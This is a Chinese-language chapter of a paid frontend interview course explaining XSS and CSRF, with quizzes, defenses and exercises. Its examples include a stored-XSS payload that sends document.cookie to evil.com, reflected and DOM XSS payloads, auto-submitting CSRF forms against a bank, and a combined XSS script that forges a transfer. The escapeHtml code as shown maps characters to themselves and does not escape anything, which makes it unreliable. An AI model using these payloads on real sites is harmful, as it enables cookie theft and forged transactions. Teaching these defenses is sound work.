浏览器篇 | XSS 与 CSRF
前言
Web 安全是前端面试中的经典考点,而 XSS 和 CSRF 则是其中出场率最高的两个话题。它们的名字你一定听过,基本概念可能也能说个大概,但面试官想听到的远不止”XSS 是跨站脚本攻击,CSRF 是跨站请求伪造”这种一句话定义。
面试官可能会追问:
- XSS 有几种类型?它们的攻击路径分别是什么?
- 为什么设置了 HttpOnly 还可能被 XSS 攻击?
- CSRF 的攻击前提条件是什么?为什么 SameSite Cookie 能防 CSRF?
- CSP 具体怎么配?能防住哪些攻击?
- XSS 和 CSRF 之间有什么联系?
本章我们就把这两种攻击从原理到防御全部讲透,让你在面试中不仅能说出”是什么”,还能讲清楚”为什么”和”怎么防”。
诊断自测
Q1:下面这段代码有什么安全问题?怎么修复?
// 服务端渲染搜索结果页
app.get('/search', (req, res) => {
const keyword = req.query.q;
res.send(`<h1>搜索结果:${keyword}</h1>`);
});
点击查看答案
这是典型的反射型 XSS。攻击者可以构造 URL:/search?q=<script>alert(document.cookie)</script>,用户点击后,<script> 标签会被原样插入 HTML 并执行。
修复方法:对用户输入进行 HTML 转义,将 <、>、&、" 等特殊字符转换为 HTML 实体。
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get('/search', (req, res) => {
const keyword = escapeHtml(req.query.q);
res.send(`<h1>搜索结果:${keyword}</h1>`);
});
Q2:CSRF 攻击的前提条件是什么?
点击查看答案
CSRF 攻击需要满足三个前提:
- 用户已登录目标网站,浏览器中有有效的认证 Cookie
- Cookie 会自动携带:浏览器在发送跨站请求时会自动带上目标站点的 Cookie(SameSite 策略未阻止)
- 目标接口没有额外的身份校验:只依赖 Cookie 认证,没有 CSRF Token 或其他防护
三个条件缺一不可。
Q3:XSS 和 CSRF 的关系是什么?它们能组合使用吗?
点击查看答案
XSS 和 CSRF 可以组合使用。如果攻击者通过 XSS 在目标网站中注入了脚本,这段脚本可以在用户的浏览器中以该网站的身份发起请求——这相当于绕过了所有 CSRF 防御(因为脚本运行在同源页面上,可以读取 CSRF Token、Cookie 等)。所以说 XSS 是比 CSRF 更”底层”的攻击:如果 XSS 存在,CSRF 的防御形同虚设。
一、XSS:跨站脚本攻击
什么是 XSS
XSS(Cross-Site Scripting)是指攻击者在目标网站中注入恶意脚本,使其在其他用户的浏览器中执行。
为什么缩写是 XSS 而不是 CSS?因为 CSS 已经被”层叠样式表”占用了,所以用 X 代替 Cross。
XSS 能做什么
一旦攻击者的 JS 在你的页面中执行,它可以做到:
- 窃取 Cookie:
document.cookie拿到用户的会话凭证,发送给攻击者 - 伪造用户操作:用 JS 发请求转账、修改密码、发帖等
- 键盘记录:监听用户的键盘输入,窃取密码
- 页面篡改:修改页面内容,显示钓鱼表单
- 重定向:把用户重定向到恶意网站
XSS 的核心危害在于:攻击者的代码和你的代码在同一个页面中执行,拥有完全相同的权限。
三种 XSS 类型
1. 反射型 XSS(Reflected XSS)
恶意代码包含在 URL 中,服务端接收后直接拼接到 HTML 中返回给用户。
攻击流程:
1. 攻击者构造恶意 URL:
https://example.com/search?q=<script>stealCookie()</script>
2. 通过邮件/社交媒体等方式诱导用户点击
3. 服务端把 q 参数的值直接拼入 HTML:
<h1>搜索结果:<script>stealCookie()</script></h1>
4. 用户浏览器执行了恶意脚本
特点:
- 恶意代码不存储在服务端,每次攻击都需要用户点击特定 URL
- 需要社会工程学配合(诱导用户点击)
- 一次性攻击:URL 被点击一次就攻击一次
2. 存储型 XSS(Stored XSS)
恶意代码被存储到服务端(数据库、文件等),每次其他用户访问包含该内容的页面时都会执行。
攻击流程:
1. 攻击者在评论/帖子/个人简介中提交恶意内容:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
2. 服务端将内容存入数据库
3. 其他用户访问该页面时,服务端从数据库取出内容,拼入 HTML
4. 所有访问该页面的用户都会执行恶意脚本
特点:
- 恶意代码持久化在服务端
- 影响面广:所有访问该页面的用户都中招
- 不需要诱导点击 URL
- 危害最大的 XSS 类型
3. DOM 型 XSS(DOM-based XSS)
恶意代码不经过服务端,完全在客户端(浏览器)中执行。前端 JS 直接把用户输入插入到 DOM 中,导致恶意脚本执行。
// ❌ 危险:直接把 URL 参数插入 DOM
const keyword = new URLSearchParams(location.search).get('q');
document.getElementById('result').innerHTML = `搜索: ${keyword}`;
// 攻击者构造 URL:
// ?q=<img src=x onerror="stealCookie()">
// innerHTML 会解析 HTML,触发 onerror 事件执行脚本
特点:
- 恶意代码不经过服务端,从 URL、
location.hash、document.referrer等客户端数据源注入 - 服务端无法感知和拦截
- 常见的危险 API:
innerHTML、document.write()、eval()
三种 XSS 对比
| 类型 | 恶意代码存储位置 | 触发方式 | 影响范围 | 服务端是否参与 |
|---|---|---|---|---|
| 反射型 | URL 参数 | 用户点击恶意 URL | 单次 | 是 |
| 存储型 | 服务端数据库 | 用户访问包含恶意内容的页面 | 持续 | 是 |
| DOM 型 | URL/客户端数据源 | 前端 JS 不安全地操作 DOM | 单次 | 否 |
二、XSS 防御策略
2.1 输出编码(最核心的防御)
原则:永远不信任用户输入,在输出到页面时进行编码。
不同的输出位置需要不同的编码方式:
// 1. HTML 内容:HTML 实体编码
// <div>用户输入</div>
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 2. HTML 属性:同样需要 HTML 实体编码
// <input value="用户输入">
// 3. JavaScript 上下文:JS 编码
// <script>var name = '用户输入';</script>
// 需要对引号、反斜杠等进行转义
// 4. URL 参数:URL 编码
// <a href="/search?q=用户输入">
encodeURIComponent(userInput);
// 5. CSS 上下文:CSS 编码
// <div style="background: 用户输入">
// 尽量避免在 CSS 中插入用户输入
关键理念:编码应该在”输出”时做,而不是”输入”时做。 因为同一份数据可能在不同的上下文中使用(HTML 里、JS 里、URL 里),每个上下文需要的编码方式不同。
2.2 CSP(Content Security Policy)
CSP 是一种浏览器安全机制,通过设置 HTTP 响应头,告诉浏览器哪些资源可以加载和执行。
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
这条策略的含义:
default-src 'self':默认只允许加载同源资源script-src 'self' https://cdn.example.com:JS 只能从同源或 cdn.example.com 加载style-src 'self' 'unsafe-inline':CSS 允许同源和内联样式
CSP 能防御什么:
- 阻止内联脚本执行:即使攻击者注入了
<script>alert(1)</script>,如果 CSP 不允许内联脚本,浏览器会拒绝执行 - 阻止外部恶意脚本加载:攻击者注入的
<script src="https://evil.com/steal.js">不在白名单中,不会加载 - 限制
eval等危险操作
常用 CSP 指令:
# 最严格的策略(推荐作为起点)
Content-Security-Policy:
default-src 'none';
script-src 'self';
style-src 'self';
img-src 'self';
connect-src 'self';
font-src 'self';
base-uri 'self';
form-action 'self'
# 使用 nonce 允许特定的内联脚本
Content-Security-Policy: script-src 'nonce-abc123'
<!-- 只有 nonce 匹配的内联脚本才能执行 -->
<script nonce="abc123">
console.log('这个可以执行');
</script>
<script>
console.log('这个被阻止');
</script>
2.3 HttpOnly Cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly 标记的 Cookie 不能通过 JavaScript 访问(document.cookie 读不到它)。这意味着即使页面被 XSS 攻击,攻击者也无法直接窃取 session Cookie。
但要注意:HttpOnly 不能阻止 XSS 攻击本身。 攻击者的脚本仍然可以在页面中执行,做很多危险的事情(比如以用户身份发请求、修改页面内容等)。HttpOnly 只是让攻击者拿不到 Cookie 而已。
2.4 避免危险的 DOM API
// ❌ 危险:会解析 HTML
element.innerHTML = userInput;
document.write(userInput);
// ✅ 安全:只设置文本内容,不解析 HTML
element.textContent = userInput;
element.innerText = userInput;
如果确实需要插入 HTML,使用 DOMPurify 等库进行清理:
import DOMPurify from 'dompurify';
// 清理后的 HTML 是安全的
element.innerHTML = DOMPurify.sanitize(userInput);
2.5 防御策略总结
| 防御手段 | 防御对象 | 效果 |
|---|---|---|
| 输出编码 | 所有 XSS | 从根源阻止注入 |
| CSP | 所有 XSS | 限制脚本执行,纵深防御 |
| HttpOnly | Cookie 窃取 | 保护会话凭证 |
| textContent 代替 innerHTML | DOM 型 XSS | 避免 HTML 解析 |
| DOMPurify 清理 | 需要插入 HTML 的场景 | 过滤危险标签和属性 |
三、CSRF:跨站请求伪造
什么是 CSRF
CSRF(Cross-Site Request Forgery)是指攻击者诱导已登录用户的浏览器向目标网站发送恶意请求。这些请求会自动携带用户在目标网站的 Cookie,导致服务端误以为是用户本人的操作。
CSRF 攻击原理
核心利用点:浏览器在发送请求时会自动携带目标域名下的 Cookie。
攻击流程:
1. 用户登录了银行网站 bank.com,浏览器中有 bank.com 的 session Cookie
2. 用户在没有退出登录的情况下,访问了攻击者的网站 evil.com
3. evil.com 的页面中包含:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
或
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
4. 浏览器自动向 bank.com 发送请求,并携带了用户的 session Cookie
5. bank.com 收到请求,验证 Cookie 有效,执行转账操作
CSRF 的三种攻击方式
1. GET 型 CSRF
<!-- evil.com 页面 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
利用 <img>、<script>、<link> 等标签发起 GET 请求。这就是为什么涉及状态变更的操作(转账、删除等)不应该用 GET。
2. POST 型 CSRF
<!-- evil.com 页面 -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
自动提交一个隐藏表单。
3. 链接型 CSRF
<a href="https://bank.com/transfer?to=attacker&amount=10000">
点击领取优惠券
</a>
需要用户主动点击链接。
四、CSRF 防御策略
4.1 SameSite Cookie(现代浏览器最有效的防御)
SameSite 是 Cookie 的一个属性,用来控制 Cookie 在跨站请求时是否被发送。
Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure
三种值的区别:
| SameSite 值 | 跨站 GET 请求 | 跨站 POST 请求 | 同站请求 |
|---|---|---|---|
Strict | 不发送 Cookie | 不发送 Cookie | 发送 |
Lax(默认值) | 发送 Cookie | 不发送 Cookie | 发送 |
None | 发送 Cookie | 发送 Cookie | 发送 |
Lax 是现代浏览器的默认值。它允许跨站的顶级导航 GET 请求(比如用户点击链接跳转)携带 Cookie,但禁止跨站 POST 和 <img>/<iframe> 等子资源请求携带 Cookie。
对于安全性要求高的场景(如银行),建议使用 Strict。 但 Strict 会导致所有从外部链接跳转到你网站的请求都不带 Cookie,用户需要重新登录,体验上有影响。
4.2 CSRF Token
在每个表单中嵌入一个不可预测的随机 Token,提交时服务端验证 Token 的有效性。
<!-- 服务端在渲染表单时,生成一个随机 Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="a1b2c3d4e5f6">
<input name="to" value="">
<input name="amount" value="">
<button type="submit">转账</button>
</form>
// 服务端验证
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).send('CSRF token invalid');
}
// 执行转账逻辑
});
为什么有效?因为攻击者在 evil.com 上构造表单时,无法获取目标网站生成的 CSRF Token——同源策略阻止了跨站读取。
4.3 检查 Origin / Referer 头
服务端可以检查请求的 Origin 或 Referer 头,验证请求是否来自合法的页面。
app.post('/transfer', (req, res) => {
const origin = req.headers.origin;
if (origin !== 'https://bank.com') {
return res.status(403).send('Invalid origin');
}
// 继续处理
});
但这种方式有局限性:
Referer头可能因为隐私设置被浏览器省略- 某些 older proxy 可能修改或删除这些头
- 所以通常作为辅助手段,不作为唯一防御
4.4 双重 Cookie 验证
将 CSRF Token 同时存放在 Cookie 和请求参数中,服务端比对两者是否一致。
// 前端
const csrfToken = getCookie('csrf-token');
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken // 从 Cookie 中读取后放入请求头
},
body: JSON.stringify({ to: 'someone', amount: 100 })
});
为什么有效?攻击者虽然能让浏览器携带 Cookie,但由于同源策略,攻击者的 JS 无法读取目标站点的 Cookie 值,所以无法在请求头中设置正确的 Token。
4.5 防御策略总结
| 防御手段 | 原理 | 推荐程度 |
|---|---|---|
| SameSite Cookie | 阻止跨站请求携带 Cookie | 强烈推荐(现代浏览器默认 Lax) |
| CSRF Token | 攻击者无法获取随机 Token | 强烈推荐 |
| Origin / Referer 检查 | 验证请求来源 | 作为辅助手段 |
| 双重 Cookie | 攻击者无法读取 Cookie 值 | 推荐 |
五、XSS 与 CSRF 的区别与联系
核心区别
| 维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 在目标网站中执行恶意脚本 | 以用户身份发送伪造请求 |
| 攻击原理 | 注入代码 | 利用 Cookie 自动携带 |
| 是否需要登录 | 不一定 | 必须已登录 |
| 代码执行位置 | 目标网站(同源) | 攻击者网站(跨站) |
| 信任的对象 | 用户信任网站(网站被注入了恶意代码) | 网站信任用户(用户的请求被伪造) |
一个经典的总结:
XSS 利用的是用户对网站的信任(网站上的代码应该是安全的,但被注入了恶意代码)。
CSRF 利用的是网站对用户的信任(带着有效 Cookie 的请求应该是用户发的,但实际是伪造的)。
组合攻击
如果网站存在 XSS 漏洞,CSRF 的防御会被完全绕过:
// XSS 注入的脚本,可以在同源页面中:
// 1. 读取 CSRF Token
const token = document.querySelector('meta[name="csrf-token"]').content;
// 2. 读取 Cookie(如果不是 HttpOnly)
const session = document.cookie;
// 3. 以用户身份发送合法请求
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token
},
body: JSON.stringify({ to: 'attacker', amount: 10000 })
});
因为 XSS 注入的脚本运行在目标网站的同源上下文中,它可以做一切用户能做的事情。所以说:防 XSS 是基础中的基础,XSS 没防住,其他安全措施都可能失效。
六、一个完整的安全防御清单
实际项目中,XSS 和 CSRF 的防御应该组合使用、多层防护:
1. 输出编码(防 XSS 的核心)
├── HTML 上下文 → HTML 实体编码
├── JS 上下文 → JS 编码
├── URL 上下文 → URL 编码
└── CSS 上下文 → CSS 编码
2. CSP(纵深防御 XSS)
├── 禁止内联脚本
├── 限制脚本来源
└── 使用 nonce 或 hash
3. Cookie 安全
├── HttpOnly → 防止 JS 读取 session Cookie
├── Secure → 只在 HTTPS 下发送
├── SameSite=Lax/Strict → 防止 CSRF
└── 合理设置 Domain 和 Path
4. CSRF 防御
├── CSRF Token
├── 双重 Cookie 验证
└── Origin/Referer 检查
5. 其他
├── 使用 textContent 代替 innerHTML
├── 使用框架的自动转义(React、Vue)
├── 定期安全审计
└── 使用 DOMPurify 清理富文本
现代前端框架(React、Vue)默认对插入的内容进行HTML 转义,大大降低了 XSS 的风险。但仍然要注意 dangerouslySetInnerHTML(React)和 v-html(Vue)这类”逃生舱”API——一旦使用它们,你就需要自己确保内容是安全的。
常见误区
误区一:“用了 React/Vue 就不用担心 XSS”
React 和 Vue 默认确实会对 JSX/模板中的文本内容做 HTML 转义。但以下场景仍然有 XSS 风险:
dangerouslySetInnerHTML(React)或v-html(Vue)href="javascript:..."类型的链接- 动态拼接 CSS(
style属性注入) - 服务端渲染时的数据注入
框架只是降低了风险,不是消除了风险。
误区二:“只要加了 HttpOnly 就能防住 XSS”
HttpOnly 只防止了 XSS 攻击中”窃取 Cookie”这一种手段。攻击者的脚本仍然可以在页面中执行,做很多其他危险操作(发请求、记录键盘、修改页面等)。HttpOnly 是一层防御,不是全部防御。
误区三:“CSRF Token 放在 Cookie 里就行了”
如果 CSRF Token 只放在 Cookie 中而没有放在请求参数/请求头中,那它完全无法防御 CSRF——因为 Cookie 会被浏览器自动携带,攻击者的请求也会带上这个 Token Cookie。正确做法是:Token 放在 Cookie 中的同时,前端要从 Cookie 中读取出来并放到请求头或请求体中,服务端比对两者是否一致。
误区四:“CSRF 只针对 POST 请求”
任何能改变服务器状态的请求都可能受到 CSRF 攻击,包括 GET、POST、PUT、DELETE。GET 型 CSRF 甚至更容易发起(一个 <img> 标签就够了)。这也是为什么 RESTful 设计中强调:GET 请求不应该有副作用。
小结
本章系统梳理了 XSS 和 CSRF 两种最常见的 Web 安全攻击。
核心要点
- XSS 是代码注入攻击:攻击者在目标网站中注入恶意脚本,有反射型、存储型、DOM 型三种类型
- XSS 防御的核心是输出编码:在输出到 HTML、JS、URL 等不同上下文时使用对应的编码方式
- CSP 是纵深防御:通过限制脚本来源和执行方式,即使注入成功也无法执行
- CSRF 是请求伪造攻击:利用浏览器自动携带 Cookie 的特性,以用户身份发送恶意请求
- SameSite Cookie 是最有效的 CSRF 防御:现代浏览器默认
Lax,已经能阻止大部分 CSRF - XSS + CSRF 可以组合攻击:XSS 存在时,所有 CSRF 防御都可能被绕过
- 安全需要多层防御:没有银弹,应该组合使用多种防御手段
本章思维导图
- XSS(跨站脚本攻击)
- 三种类型
- 反射型:恶意代码在 URL 中,服务端拼入 HTML
- 存储型:恶意代码存入数据库,影响所有访问者
- DOM 型:前端 JS 不安全地操作 DOM
- 防御
- 输出编码(核心):HTML/JS/URL/CSS 上下文分别编码
- CSP:限制脚本来源和执行
- HttpOnly Cookie:防止 JS 读取 session
- textContent 代替 innerHTML
- DOMPurify 清理富文本
- 三种类型
- CSRF(跨站请求伪造)
- 攻击前提
- 用户已登录
- Cookie 自动携带
- 无额外身份校验
- 攻击方式
- GET 型:img/script 标签
- POST 型:自动提交表单
- 链接型:诱导点击
- 防御
- SameSite Cookie(Strict/Lax)
- CSRF Token
- Origin/Referer 检查
- 双重 Cookie 验证
- 攻击前提
- XSS 与 CSRF 的关系
- XSS 注入代码,CSRF 伪造请求
- XSS 存在时 CSRF 防御失效
- 防 XSS 是安全的基础
练习挑战
第一题(⭐ 基础):判断攻击类型
以下三个场景分别属于什么类型的攻击?
A. 攻击者在论坛帖子中插入了 <script> 标签,所有看到这个帖子的人都受影响
B. 攻击者发给你一个链接 https://shop.com/search?q=<script>alert(1)</script>,你点击后弹出弹窗
C. 攻击者在自己的网站上放了一个自动提交的表单,目标是你已经登录的银行网站
点击查看答案与解析
- A:存储型 XSS。恶意代码被存储在服务端(论坛帖子数据库中),所有访问该页面的用户都受影响。
- B:反射型 XSS。恶意代码在 URL 参数中,服务端直接拼入 HTML 返回给当前用户。
- C:CSRF。攻击者没有在目标网站注入代码,而是利用用户的登录状态(Cookie),在自己的网站上伪造请求。
第二题(⭐⭐ 进阶):找出漏洞并修复
下面的 React 代码有安全隐患吗?如果有,怎么修复?
function UserProfile({ user }) {
return (
<div>
<h1>{user.name}</h1>
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
<a href={user.website}>个人主页</a>
</div>
);
}
点击查看答案与解析
有两个安全隐患:
1. dangerouslySetInnerHTML 直接渲染用户输入
如果 user.bio 包含恶意 HTML(如 <img src=x onerror="stealCookie()">),会直接执行。
修复:使用 DOMPurify 清理。
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(user.bio) }} />
2. href 属性的 JavaScript 注入
如果 user.website 的值是 javascript:alert(document.cookie),用户点击链接就会执行恶意脚本。
修复:验证 URL 的协议。
function sanitizeUrl(url) {
try {
const parsed = new URL(url);
if (['http:', 'https:'].includes(parsed.protocol)) {
return url;
}
return '#';
} catch {
return '#';
}
}
<a href={sanitizeUrl(user.website)}>个人主页</a>
user.name 是安全的——React 的 JSX 默认会对文本内容进行 HTML 转义。
第三题(⭐⭐⭐ 综合):设计安全方案
你正在开发一个在线银行系统,需要设计完整的安全方案来防御 XSS 和 CSRF。请列出你会采取的所有防御措施,并说明每项措施防御的是什么攻击、为什么需要它。
点击查看答案与解析
完整防御方案:
防 XSS:
-
输出编码:使用模板引擎自动转义(如 React/Vue 默认行为),禁止使用
dangerouslySetInnerHTML和v-html。原因:从根源阻止代码注入。 -
严格的 CSP:
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{random}';
style-src 'self';
img-src 'self';
connect-src 'self';
frame-ancestors 'none'
原因:即使有注入漏洞,CSP 也能阻止恶意脚本执行。frame-ancestors 'none' 还能防止页面被嵌入 iframe(防点击劫持)。
- HttpOnly + Secure Cookie:
Set-Cookie: session=xxx; HttpOnly; Secure; Path=/
原因:HttpOnly 防止 JS 读取 Cookie,Secure 防止 HTTP 明文传输。
防 CSRF:
- SameSite Cookie:
Set-Cookie: session=xxx; SameSite=Strict
原因:Strict 禁止所有跨站请求携带 Cookie,对银行系统来说安全性最重要。
-
CSRF Token:每个敏感操作的表单/请求都携带随机 Token,服务端验证。原因:作为 SameSite 的补充,防御不支持 SameSite 的旧浏览器。
-
Origin 检查:验证请求的 Origin 头。原因:辅助防御手段,多一层保护。
其他:
-
敏感操作二次验证:转账等操作需要输入支付密码/验证码。原因:即使 CSRF/XSS 都被突破,二次验证仍然是最后一道防线。
-
X-Content-Type-Options: nosniff:防止浏览器 MIME 类型嗅探。
-
X-Frame-Options: DENY:防止点击劫持。
-
定期安全审计和渗透测试。
核心理念:纵深防御。不依赖任何单一防御手段,多层叠加,任何一层被突破时都有其他层兜底。
自我检测
- 能说出 XSS 的三种类型(反射型、存储型、DOM 型)及各自的攻击路径
- 能解释为什么”输出编码”是 XSS 防御的核心,以及不同上下文需要不同的编码方式
- 能说清楚 CSP 的作用和基本配置方式
- 能解释 HttpOnly Cookie 能防什么、不能防什么
- 能说出 CSRF 攻击的三个前提条件
- 能解释 SameSite Cookie 的三种值(Strict/Lax/None)的区别
- 能说清楚 CSRF Token 的工作原理和为什么攻击者无法获取 Token
- 能解释 XSS 和 CSRF 的区别,以及为什么 XSS 存在时 CSRF 防御会失效
购买课程解锁全部内容
大厂前端面试通关:71 篇构建完整知识体系
¥89.90